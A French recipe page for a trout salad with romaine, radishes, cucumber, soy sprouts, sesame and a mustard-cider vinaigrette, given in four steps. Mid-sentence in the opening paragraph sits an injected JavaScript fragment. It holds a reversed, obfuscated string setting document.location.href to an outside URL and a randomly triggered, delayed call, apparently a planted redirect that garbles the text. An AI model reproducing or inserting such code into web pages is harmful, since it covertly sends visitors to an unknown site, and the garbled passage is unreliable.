Salade composée avec des truites

2018-02-14

Effeuillez les filets de truite. Triez, rincez, essorez la salade romaine. Rincez, épépinez, coupez la tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomate en petits dés. Pelez et coupez en petits dés le concombre.

Ingrédients

  • Pour 4 personnes
  • 800 g de filets de truite sans la peau cuites
  • 1 botte de radis
  • 1 concombre
  • 1 salade romaine
  • 50 g de pousses de soja
  • 1 tomate
  • 1 cuillère à café de moutarde
  • 1 cuillère à soupe de vinaigre de cidre
  • 1 cuillère à soupe d'huile d'arachide
  • 1 cuillère 1/2 à café de graines de sésame
  • Sel - Poivre

Préparation de la recette

Etape 1

Effeuillez les filets de truite. Triez, rincez, essorez la salade romaine. Rincez, épépinez, coupez la tomate en petits dés. Pelez et coupez en petits dés le concombre.

Etape 2

Enlevez les fanes de radis. Rincez, coupez en rondelles les radis. Dans un saladier préparez la vinaigrette en mélangeant le sel, poivre, moutarde, vinaigre, huile. Émulsionnez avec un fouet.

Etape 3

Déposez la salade romaine, mélangez. Répartissez quelques feuilles de salade sur chaque assiette, déposez les morceaux de truites, les radis, le concombre, les pousses de soja, arrosez de vinaigrette, mélangez délicatement.

Etape 4

Saupoudrez de graines de sésame. Dégustez.

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